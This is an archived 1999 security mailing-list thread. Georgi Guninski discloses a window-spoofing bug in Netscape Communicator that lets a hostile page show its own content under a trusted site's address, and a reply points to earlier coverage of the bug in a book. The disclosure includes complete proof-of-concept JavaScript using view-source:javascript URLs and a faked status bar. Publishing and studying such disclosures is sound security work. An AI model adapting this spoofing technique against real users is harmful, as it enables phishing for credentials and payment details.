netscape.window.spoof.txt

`Date: Tue, 16 Feb 1999 09:46:05 PST  
From: Georgi Guninski <[email protected]>  
To: [email protected]  
Subject: Netscape Communicator window spoofing bug  
  
There is a bug in Netscape Communicator 3.04,4.06,4.5 Win95 and 4.08 WinNT,  
which allows "window spoofing". After visiting a hostile page (or clicking   
a hostile link) a window is opened and its location is a trusted site.   
However, the content of the window is not that of the original site,  
but it is supplied by the owner of the page. So, the user is misled he  
is browising a trusted site, while he is browsing a hostile page and may   
provide sensitive information, such as credit card number.   
The bug may be exploited using HTML mail message.  
It needs Javascript enabled.  
  
Workaround: Disable Javascript  
  
Demonstration is available at:  
http://www.nat.bg/~joro/b14.html  
http://www.whitehats.com/guninski/b14.html  
  
This bug is different from the "frame spoofing vulnerability"  
  
The code is:  
-------------------------------  
<SCRIPT>  
  
function doit()  
{  
  
a.document.open();  
a.document.write("<H1>Look at the location bar!<BR>");  
a.document.write("<A HREF='http://www.whitehats.com/guninski'>Go to Georgi Guninski's home page</A></H1>");  
a.document.close();  
}  
  
function winopen() {  
  
//You may try also:  
//a=window.open("view-source:javascript:location='wysiwyg://1/http://www.yahoo.com';");  
  
a=window.open("view-source:javascript:location='http://www.yahoo.com';");  
  
setTimeout('doit()',30000);  
}  
  
</SCRIPT>  
  
<BR>  
  
<A HREF="javascript:void(0)" onclick="winopen()" onMouseOver="window.status='http://www.yahoo.com';return true">  
Follow this link to go to www.yahoo.com (or somewhere else)  
</A>  
-------------------------------  
  
Note: My web page has moved. Look below for the new URLs.  
  
Regards,  
Georgi Guninski  
http://www.nat.bg/~joro  
http://www.whitehats.com/guninski  
  
------------------------------------------------------------------------  
  
Date: Sun, 21 Feb 1999 13:26:20 GMT  
From: Kirrily 'Skud' Robert <[email protected]>  
To: [email protected]  
Subject: Re: Netscape Communicator window spoofing bug  
  
Frames or not, this bug was discussed in some detail in the O'Reilly  
book _Web Security and Commerce_ by Garfinkel and Spafford. Since its  
original publication date is June 1997, I think we can assume that this  
bug has been known for almost two years.  
  
I heartily recommend this book to anyone interested in browser security  
issues, especially those related to java, javascript, and other such  
client-side programming.  
  
Ref: http://www.oreilly.com/catalog/websec/  
  
K.  
  
--  
Kirrily 'Skud' Robert - http://netizen.com.au/  
Documentation is the castor oil of programming. Managers know it must  
be good because the programmers hate it so much.  
  
`